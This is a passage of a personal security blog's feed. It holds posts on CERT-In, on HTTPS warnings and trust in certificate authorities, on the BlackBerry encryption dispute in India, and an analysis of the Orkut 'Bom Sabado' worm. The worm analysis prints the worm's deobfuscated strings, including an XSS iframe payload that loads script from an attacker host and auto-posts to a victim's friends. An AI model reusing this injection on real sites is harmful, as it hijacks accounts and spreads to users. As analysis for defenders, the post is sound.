<a href="https://en.wikipedia.org/wiki/X86?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">X86</a>. Also, unlike Intel&rsquo;s closed architecture, ARM&rsquo;s IP core is available for licensing which allows more flexibility for smartphone vendors to cater to a market which is much more diverse than the PC market. Just like SUN missed the X86 revolution while focusing on their high-margin SPARC servers, Intel while concentrating at its relatively high-margin X86 business is on the verge of missing a transition to the smartphone-supplemented-Internet-centric era. The Intel has to realize a few things, first, leave the X86 beast for the PCs and come up with a simple RISC based processor for smartphones, second, given the market requirements, it is preferable to give more flexibility to smartphone vendors by licensing out IP core [like ARM] rather than making processors of their own.</p>
<p>The world has moved on from PC-centric desktop era to smartphone-supplemented Internet-centric era, and it seems that the giants of the previous era are unable to catch on marching towards a slow death.</p>
<p>Disclaimer: <em>This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.</em></p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/intel" term="intel" label="intel"/><category scheme="https://ashishb.net/tag/microsoft" term="microsoft" label="microsoft"/></entry><entry><title type="html">Cyber Security in India : Role of CERT-In</title><link href="https://ashishb.net/security/cyber-security-in-india-role-of-cert-in/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/blackberry-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="BlackBerry Controversy in India"/><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="related" type="text/html" title="How Indian Government deals with Technology"/><link href="https://ashishb.net/security/evm-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="EVM controversy in India"/><link href="https://ashishb.net/security/understanding-https-warnings-and-error-messages/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding HTTPS warnings and error messages"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><id>https://ashishb.net/security/cyber-security-in-india-role-of-cert-in/</id><author><name>Ashish Bhatia</name></author><published>2010-09-28T09:09:08+00:00</published><updated>2010-09-28T09:09:08+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the role of CERT-In in enhancing India&rsquo;s cybersecurity despite challenges like budget constraints and contract-based employment in this insightful blog.</blockquote><p>  
    
    
<a href="https://cert-in.org.in/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CERT-In</a> is a low-profile (Indian) government organization.</p>
<blockquote>
<p><em>The Government of India established the Computer Emergency Response Team  (&ldquo;CERT-IN&rdquo;) to ensure Internet security. Many institutions, including the Ministry of Home Affairs, courts, the intelligence services, the police, and the National Human Rights Commission, may call on it for specialist expertise. CERT-IN&rsquo;s stated mission is &ldquo;to enhance the security of India&rsquo;s Communications and Information Infrastructure through proactive action and effective collaboration&rdquo;</em> [   
    
    
<a href="https://en.wikipedia.org/wiki/Internet_censorship_in_India?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Source</a>]</p></blockquote>
<p>I had a chance to visit CERT-In last week. The experience was overall good, unlike the typical dirty government office with laid-back employees, I saw employees enthusiastic about their work (and a colorful office).</p>
<p>As I understood the primary job of CERT-In is to</p>
<ol>
<li>raise awareness (among public sector and private sector) regarding system and network security through regular   
    
    
<a href="https://cert-in.org.in/training/TrainingCo.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">training</a> sessions.</li>
<li>provide   
    
    
<a href="https://cert-in.org.in/contact.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">help</a> during website defacements</li>
<li>release regular   
    
    
<a href="https://cert-in.org.in/knowledgebase/SecurityBulletin/index.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">security bulletins</a> to keep Indian (security) community on recent threats and attacks</li>
</ol>
<p>I met a few employees there and the key things which came out of the discussion are</p>
<ol>
<li>Cert-In is <strong>too small</strong> as compared to Cert-US due to budget constraints (and hence employees are  over-burdened).</li>
<li>They do not offer &ldquo;government job&rdquo;[read job security], just a <strong>contract-based employment</strong>.</li>
<li>They do not offer a <strong>competitive pay</strong> hence people regularly move to take jobs in private sector.</li>
</ol>
<p>A view at the CERT-In   
    
    
<a href="https://www.cert-in.org.in/defacementdetails.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">defacement statistics</a> show how   
    
    
<a href="https://www.telecomandit.com/pakistani-hackers-hack-indian-websites?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">grave</a> is this threat for India. At this crucial stage, when apart from air, water and land, internet is the new way of inflicting significant   
    
    
<a href="https://www.ciol.com/BFSI/Feature/Phishing-in-India-on-the-rise/301008112099/0/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">monetary</a> damage as well as   
    
    
<a href="https://news.oneindia.in/2010/04/06/china-hacks-india-defence-data-report.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">intelligence</a>. When   
    
    
<a href="https://www.computerworld.com/s/article/9138998/DHS_faces_challenge_in_hiring_1_000_security_experts?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">other</a>   
    
    
<a href="https://www.net-security.org/secworld.php?id=8445&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">countries</a> are establishing new cyber defensive and offensive capabilities, I wonder when will the Indian government realize that rather than spending billions on establishing new IITs, its probably better to spend a fraction of that to hire good cyber security specialists.
<em>Readers should note that unlike USA, Cert-In has to play a much bigger role in India due to lack of other equivalents organizations like  DHS cyber command (USA)</em>.</p>
<p>Disclaimer: _The article is based on the personal experience of the author and the claims made are not verified independently. In case you have any objections, please mention that in comments.</p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/cert-in" term="cert-in" label="cert-in"/><category scheme="https://ashishb.net/tag/cyber-security" term="cyber-security" label="cyber-security"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/><category scheme="https://ashishb.net/tag/security" term="security" label="security"/></entry><entry><title type="html">Understanding HTTPS warnings and error messages</title><link href="https://ashishb.net/security/understanding-https-warnings-and-error-messages/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/is-https-secure/?utm_source=atom_feed" rel="related" type="text/html" title="Is HTTPS secure?"/><link href="https://ashishb.net/security/blackberry-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="BlackBerry Controversy in India"/><link href="https://ashishb.net/security/cyber-security-in-india-role-of-cert-in/?utm_source=atom_feed" rel="related" type="text/html" title="Cyber Security in India : Role of CERT-In"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><id>https://ashishb.net/security/understanding-https-warnings-and-error-messages/</id><author><name>Ashish Bhatia</name></author><published>2010-09-25T18:44:27+00:00</published><updated>2010-09-25T18:44:27+00:00</updated><content type="html"><![CDATA[<blockquote>Confused by HTTPS errors? Discover the most common issues, from expired certificates to untrusted authorities, and learn how to safely navigate them.</blockquote><p>If you have visited a HTTPS site and got an error message which you do not understand, then this article is for you. Here I cover the common errors encountered while browsing HTTPS sites.</p>
<p>As discussed 
<a href="/security/is-https-secure/">earlier</a>, when the HTTPS connection is being established, the browser receives the certificate from the server. The following cases are possible</p>
<ol>
<li><strong>The certificate is expired.</strong>
Check the system&rsquo;s date, the most common cause being misconfigured date.
If your system&rsquo;s date is correct,  then this is a serious issue. Visiting a site with an expired certificate is like eating an expired packet of chips. (it might be good but not for sure)</li>
<li><strong>The certificate is for another domain</strong> Check the actual domain for which the certificate is issued.
A common cause is the certificate is for   
    
    
<a href="https://www.xyz.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">www.xyz.com</a> and the user is navigating xyz.com. Otherwise, if the certificate is for abc.com and is being used for xyz.com, then either xyz.com is affiliated with abc.com and this is just a wrong(or economic?) decision on the part of the company. If that is not the case, then leave the website immediately.</li>
<li><strong>The certificate is not verified by a trusted CA</strong>
The certificate is issued/signed by an authority that your browser does not trust.
Equivalent to saying, you are meeting someone who has a degree from a university not recognized by the government.(for example, my institute uses HTTPS for its mail site   
    
    
<a href="https://webmail.iitk.ac.in?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">webmail.iitk.ac.in</a> but is not signed by one of the authorities that popular browsers trust)
The remedy is to visit the website of the certificate signer (that must be HTTPS) and confirm that the certificate is issued by it and if you trust the signee enough go ahead and add the certificate to the browser repository. It should be noted that your decision to trust the website is based on mutual trust.</li>
<li><strong>The page contains non-HTTPS components</strong> This happens when the web developer includes non-HTTPS things(specially images and CSS) in the code usually, for optimization purposes. It is usually safe to go ahead unless it&rsquo;s a banking site [it&rsquo;s better to be on the safe side].  The issue is that some parts of the page that are delivered using plain HTTP can actually be tapped (and modified as well).</li>
<li><strong>No warning</strong> Good, go ahead, you are safe.[ 
<a href="/security/is-https-secure/">really</a>?]</li>
</ol>
<p>Have you got any HTTPS warning/error messages? do post them in the comments.</p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/encryption" term="encryption" label="encryption"/><category scheme="https://ashishb.net/tag/https" term="https" label="https"/><category scheme="https://ashishb.net/tag/security" term="security" label="security"/></entry><entry><title type="html">A preliminary analysis of “Bom Sabado” orkut worm</title><link href="https://ashishb.net/security/a-preliminary-analysis-of-bom-sabado-orkut-worm/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/facebook-rotating-images-worm/?utm_source=atom_feed" rel="related" type="text/html" title="Analysis of Facebook Rotating Images worm"/><link href="https://ashishb.net/security/facebook-click-jacking-chica-sexy/?utm_source=atom_feed" rel="related" type="text/html" title='Preliminary analysis of Facebook Click jacking Attack "Chica Sexy"'/><link href="https://ashishb.net/security/evm-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="EVM controversy in India"/><link href="https://ashishb.net/security/cyber-security-in-india-role-of-cert-in/?utm_source=atom_feed" rel="related" type="text/html" title="Cyber Security in India : Role of CERT-In"/><link href="https://ashishb.net/security/understanding-https-warnings-and-error-messages/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding HTTPS warnings and error messages"/><id>https://ashishb.net/security/a-preliminary-analysis-of-bom-sabado-orkut-worm/</id><author><name>Ashish Bhatia</name></author><published>2010-09-25T10:30:08+00:00</published><updated>2010-09-25T10:30:08+00:00</updated><content type="html"><![CDATA[<blockquote>Beware of the Orkut &ldquo;Bom Sabado&rdquo; worm! Learn how this Cross-Site Scripting attack spreads, its effects, and ways to protect your account from infection.</blockquote><p>So, this morning I received an email saying I received an Orkut scrap from a friend with contents &ldquo;Bom Sabado&rdquo;.
Within a minute,  I received the same scrap from another friend. Now getting the feeling that this must be some sort of worm, I decided to open Orkut with   
    
    
<a href="https://addons.mozilla.org/en-US/firefox/addon/1843/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">firebug</a> logging enabled to see what was going on.
It turns out that it&rsquo;s a typical case of   
    
    
<a href="https://en.wikipedia.org/wiki/Cross-site_scripting?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cross-Site Scripting</a> (XSS), the attacker can inject and execute its script from hxxp://tptools.org/worm.js and the contents of scrap are able to by-pass Orkut sanitization.</p>
<h3 id="what-it-does">What it does</h3>
<p>As soon as someone logs in and visits its scrap page,</p>
<ol>
<li>The same Scrap is automatically posted to all friends</li>
<li>Automatically joins a set of communities it seems visiting one of these communities is sufficient to get infected, with community IDs 106698808, 6, 558494, 106698628, 106691341</li>
</ol>
<h3 id="prevention">Prevention</h3>
<ol>
<li>Use   
    
    
<a href="https://addons.mozilla.org/en-US/firefox/addon/1865/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ad-block</a> to disable access to hxxp://tptools.org/worm.js</li>
<li>Do not visit any of the aforementioned communities.</li>
</ol>
<h3 id="how-it-worksspreads">How it works(spreads)</h3>
<p>The obfuscated script is available at the aforementioned URL, it is obfuscated and simplified it gives the contents of the script as utilizing the following variable,</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Javascript
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">var</span> _0x37a1 <span style="color:#719e07">=</span> [Microsoft.XMLHttp,POST_TOKEN<span style="color:#719e07">=</span>,CGI.POST_TOKEN,<span style="color:#719e07">&amp;</span>signature<span style="color:#719e07">=</span>, Page.signature.raw,POST,Scrapbook<span style="color:#719e07">?</span>,open, Content<span style="color:#719e07">-</span>Type,application<span style="color:#719e07">/</span>x<span style="color:#719e07">-</span>www<span style="color:#719e07">-</span>form<span style="color:#719e07">-</span>urlencoded;, setRequestHeader,<span style="color:#719e07">&amp;</span>scrapText<span style="color:#719e07">=</span>,<span style="color:#719e07">&lt;</span>style<span style="color:#719e07">/&gt;&lt;</span>iframe style<span style="color:#719e07">=</span>display<span style="color:#719e07">:</span>none onload<span style="color:#719e07">=</span><span style="color:#2aa198">&#34;a = document.createElement( &#39;script&#39;);a.src = &#39;/&#39; + &#39;/tptools.o&#39;+&#39;rg/worm.js&#39;+&#39;#&lt;wbr&gt;#&#39;; document . body . appendChild( a )&#34;</span><span style="color:#719e07">&gt;&lt;</span>/iframe&gt;Bom Sabado!,&amp;uid=,
</span></span><span style="display:flex;"><span><span style="color:#719e07">&amp;</span>Action.submit<span style="color:#719e07">=</span><span style="color:#2aa198">1</span>,send,GET,RequestFriends<span style="color:#719e07">?</span>req<span style="color:#719e07">=</span>fl<span style="color:#719e07">&amp;</span>uid<span style="color:#719e07">=</span>,uid,<span style="color:#719e07">&amp;</span>oxh<span style="color:#719e07">=</span><span style="color:#2aa198">1</span>,<span style="color:#719e07">while</span> (<span style="color:#cb4b16">true</span>); <span style="color:#719e07">&amp;&amp;&amp;</span>START<span style="color:#719e07">&amp;&amp;&amp;</span>,,replace,responseText,CommunityJoin<span style="color:#719e07">?</span>cmm<span style="color:#719e07">=</span>,<span style="color:#719e07">&amp;</span>Action.join<span style="color:#719e07">=</span><span style="color:#2aa198">1</span>, <span style="color:#2aa198">106698808</span>,<span style="color:#2aa198">6</span>,<span style="color:#2aa198">558494</span>,<span style="color:#2aa198">106698628</span>,<span style="color:#2aa198">106691341</span>,<span style="color:#268bd2">var</span> friends <span style="color:#719e07">=</span> ,;,list,data,id]</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><ol>
<li>It seems that an ill-formed <code>&lt;style/&gt;</code> tag can escape Google&rsquo;s sanitation mechanism resulting in the parsing of scrap text as HTML. I might be wrong about this.</li>
<li>The second emphasized section shows the community IDs to which this script automatically sends join requests.</li>
</ol>
<p><strong>UPDATE</strong>: It seems that the website tptools.org has been removed by the hosting company (host gator)
The   
    
    
<a href="https://pastie.org/1181415?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">original</a> script and a   
    
    
<a href="https://pastie.org/1180944?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">commented version</a> are attached for interested readers.</p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/orkut" term="orkut" label="orkut"/><category scheme="https://ashishb.net/tag/worm" term="worm" label="worm"/></entry><entry><title type="html">Is HTTPS secure?</title><link href="https://ashishb.net/security/is-https-secure/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/understanding-https-warnings-and-error-messages/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding HTTPS warnings and error messages"/><link href="https://ashishb.net/security/blackberry-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="BlackBerry Controversy in India"/><link href="https://ashishb.net/security/nillion/?utm_source=atom_feed" rel="related" type="text/html" title="Nillion"/><link href="https://ashishb.net/tech/the-key-problem-in-cryptocurrency/?utm_source=atom_feed" rel="related" type="text/html" title='The "key" problem in cryptocurrency'/><link href="https://ashishb.net/tech/towards-a-broken-future-of-internet/?utm_source=atom_feed" rel="related" type="text/html" title="Towards a broken future of Internet"/><id>https://ashishb.net/security/is-https-secure/</id><author><name>Ashish Bhatia</name></author><published>2010-09-21T13:39:24+00:00</published><updated>2010-09-21T13:39:24+00:00</updated><content type="html"><![CDATA[<blockquote>Unlock the secrets of HTTPS! Discover how it secures your online interactions against eavesdropping and man-in-the-middle attacks. Stay informed and safe online.</blockquote><p>We all use HTTPS and vaguely understands it as a more secure form of communication.
This article is aimed at better understanding of HTTPS and how secure it is.</p>
<h2 id="how-http-works">How HTTP works</h2>
<ol>
<li>The client sends the request for example.com</li>
<li>After getting IP address and making a further request to IP address, client
gets a final reply,
<em>Hi, I am example.com, and this is the data you asked for</em> [the homepage]
The client blindly trusts that the other party is genuine example.com and no one else impersonating it.</li>
</ol>
<p><img alt="Client Server communication" loading="lazy" src="/security/is-https-secure/ClientServerHTTPcomm.png"></p>
<p><strong>Two major problems</strong> with HTTP</p>
<ol>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Eavesdropping?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Eavesdropping</a> - Eavesdropping can be done by anyone who has access to the medium. For example, if you are in a company who has taken a connection from BSNL. Then data transmitted from your system to example.com through company&rsquo;s router(s), ISP (say BSNL) router(s) and following a long-chain of routers finally reach example.com. Any of these routers can be utilized for eavesdropping on the data being transmitted.</li>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Man-in-the-middle Attacks</a> - DNS translates Domain-names to IP addresses. So, a maliciously configured DNS can route example.com to IP address of an evil server which talks to a client on one side and (say) example.com on the other. In plain HTTP implementation, there is no way of verifying whether we are communicating with real example.com or a fake one.</li>
</ol>
<h2 id="how-https-works">How HTTPS works</h2>
<ol>
<li>The client sends a request for   
    
    
<a href="https://example.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://example.com</a></li>
<li>After getting IP address and making a further request to IP address, the client gets a reply.
Hi, I am example.com, My public key is d9 27 c8 11 &hellip;
It is certified by (say) Verisign Inc. [and a lot of other things like when it expires etc.]</li>
<li>The browser   
    
    
<a href="https://www.eventhelix.com/RealtimeMantra/Networking/SSL.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">verifies</a>[pdf] the key to ensure that it is issued to example.com and is not tempered.</li>
<li>Then it uses this public key to encrypt a secret key and sends the secret key(encrypted) to example.com. This key will be used for encrypted communication using symmetric key encryption.</li>
</ol>
<h2 id="how-https-solves-the-problems">How HTTPS solves the problems</h2>
<ol>
<li><strong>Eavesdropping</strong> is solved since the communication is encrypted before transmitting any sensitive data (say username/password to example.com)</li>
<li><strong>Man-in-the-middle</strong> is solved if and only if we trust the certifying authority(CA), eg. Verisign for the verification.
(Here is an underlying assumption that HTTPS algorithm is not breakable and its implementation is not having any flaw)</li>
</ol>
<p>So, the safety of HTTPS primarily reduces to <strong>how trustable are the Certifying Authorities</strong>
[which our web browser recognize] <em>&ldquo;Who are these certificate authorities? At the beginning of Web history,
there were only a handful of companies, like Verisign, Equifax, and Thawte, that made near-monopoly profits
from being the only providers trusted by Internet Explorer or Netscape Navigator.
But over time, browsers have trusted more and more organizations to verify Websites.
Safari and Firefox now trust more than 60 separate certificate authorities by default.
Microsoft&rsquo;s software trusts more than 100 private and government institutions.&rdquo;</em> <em>  
    
    
<a href="https://www.slate.com/id/2265204?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">[/source]</a></em></p>
<p>Now, as EFF has   
    
    
<a href="https://www.eff.org/observatory?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pointed</a> out that how big a mess is this certification process especially since a few certifying
authorities have delegated their task of certification to some not-so-trustable companies like Etisalat, UAE.</p>
<p>So, for example, if someone sitting in Dubai or now   
    
    
<a href="https://www.etisalat.ae/index.jsp?parentid=ed38800d1f52a010VgnVCM1000000a0a0a0a____&amp;contentid=14cd7ca0a0eb1210VgnVCM1000000c24a8c0RCRD&amp;currentid=6d88e15c0b56a010VgnVCM1000000a0a0a0a____&amp;lang=en&amp;type=content&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">even in India</a> accesses the Internet through the network owned
by Etisalat, who once installed spyware and copied emails of all BlackBerry customers to private email addresses.
The routers can redirect a person visiting example.com to a malicious look-alike website and since it shows a valid
certificate with its own public key not the actual public key of example.com.
It will appear genuine and will not raise any flags in the browser.
As   
    
    
<a href="https://www.crypto.com/blog/spycerts/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pointed out</a>, Commercial products based on getting forged certificates already exist.</p>
<p>Note:</p>
<ol>
<li>For the paranoids, there is a   
    
    
<a href="https://patrol.psyced.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Firefox addon</a> which warns the user if a website presents a certificate different from last time.</li>
<li>The ideas presented are simplified for the sake of understanding, the actual implementation are more involved but based on the same ideas.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/certificates" term="certificates" label="certificates"/><category scheme="https://ashishb.net/tag/encryption" term="encryption" label="encryption"/><category scheme="https://ashishb.net/tag/https" term="https" label="https"/></entry><entry><title type="html">BlackBerry Controversy in India</title><link href="https://ashishb.net/security/blackberry-controversy-in-india/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/cyber-security-in-india-role-of-cert-in/?utm_source=atom_feed" rel="related" type="text/html" title="Cyber Security in India : Role of CERT-In"/><link href="https://ashishb.net/security/understanding-https-warnings-and-error-messages/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding HTTPS warnings and error messages"/><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="related" type="text/html" title="How Indian Government deals with Technology"/><link href="https://ashishb.net/book-summary/imagining-india-by-nandan-nilekani/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Imagining India by Nandan Nilekani"/><link href="https://ashishb.net/security/evm-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="EVM controversy in India"/><id>https://ashishb.net/security/blackberry-controversy-in-india/</id><author><name>Ashish Bhatia</name></author><published>2010-09-13T14:39:18+00:00</published><updated>2010-09-13T14:39:18+00:00</updated><content type="html"><![CDATA[<blockquote>Uncover the truth about BlackBerry encryption and government surveillance demands. Delve into the complexities of data access and media confusion in India.</blockquote><p>Indian Govt. has asked   
    
    
<a href="https://www.rim.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">RIM</a> (maker of the BlackBerry smartphone) to   
    
    
<a href="https://economictimes.indiatimes.com/infotech/hardware/BlackBerry-to-open-code-for-security-check/articleshow/6249666.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">provide access</a> to the data going through its servers for intelligence purposes and it   
    
    
<a href="https://futureoftheinternet.org/blackberry-22?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">appears</a> that BlackBerry has accepted the demands. Due to the lack of understanding of encryption on the part of Indian media, misleading and ambiguous   
    
    
<a href="https://economictimes.indiatimes.com/infotech/hardware/BlackBerry-to-open-code-for-security-check/articleshow/6249666.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">reports</a> have been published on the same. This blog post is an effort to clarify the same.</p>
<h2 id="blackberry-and-encryption">BlackBerry and Encryption</h2>
<p>BlackBerry has two   
    
    
<a href="https://cpj.org/blog/2010/08/why-governments-dont-need-to-crack-the-blackberry.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">types</a> of customers</p>
<ol>
<li>Enterprise Customers</li>
<li>Normal Customers</li>
</ol>
<p>For enterprise customers, a single secret key cryptography across the enterprise is used and this key is known only to enterprises. (roughly, the equivalent of saying that all enterprise employees have a copy of the key to the main gate of the office and no one except the office staff has the key). Given the current state of encryption technology, no one can &ldquo;read&rdquo; the actual(plain text) messages without getting hold of the key. So, any end-to-end encrypted communication cannot be deciphered by a third party(   
    
    
<a href="https://futureoftheinternet.org/blackberry-22?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">including RIM</a>).</p>
<p>&quot; <em>RIM was also asked to give access to its algorithms so that security agencies here could decrypt messages</em>.&quot;[   
    
    
<a href="https://economictimes.indiatimes.com/infotech/hardware/BlackBerry-to-open-code-for-security-check/articleshow/6249666.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ET</a>]
Now, this kind of reporting is a pure pig-shit and ignorance of technology on the part of the media. Even if the government knows the algorithm, it will not be of any use. In fact, for that matter, the source code of most encryption algorithms is publicly known. The power of encryption lies not in the algorithm but in the key which is used by the algorithm to generate encrypted text from plain text.</p>
<p>Interestingly, it seems that for normal customers, messages are sent from handset to server in an encrypted format (I believe it should be using public-key cryptography) using the sender&rsquo;s key. De-encrypted at the server and re-encrypted for the receiver. So, the traditional approach of eavesdropping fails in this case. The only way to access &ldquo;data&rdquo; is through servers. That is what, I believe the Indian government(and a lot of other governments) is trying to get access to.</p>
<h3 id="is-blackberry-a-low-hanging-fruit">Is BlackBerry a &ldquo;low-hanging fruit&rdquo;</h3>
<p>Well, there are two problems with this approach</p>
<ol>
<li>Too much hue and cry
Given the hue and cry the government has created in the name of security, no terrorist is ever going to use
BlackBerry anymore.
Also, if they are adamant, they can always ask their Pakistani/Middle-east funders to establish some dummy
enterprise and all of them become enterprise customers of the service and hence, &ldquo;un-interceptable&rdquo; again.</li>
<li>Current state of the smartphone market
What if someone implements an android/iPhone app to do encryption on-the-fly between communicating parties?
In fact, there are   
    
    
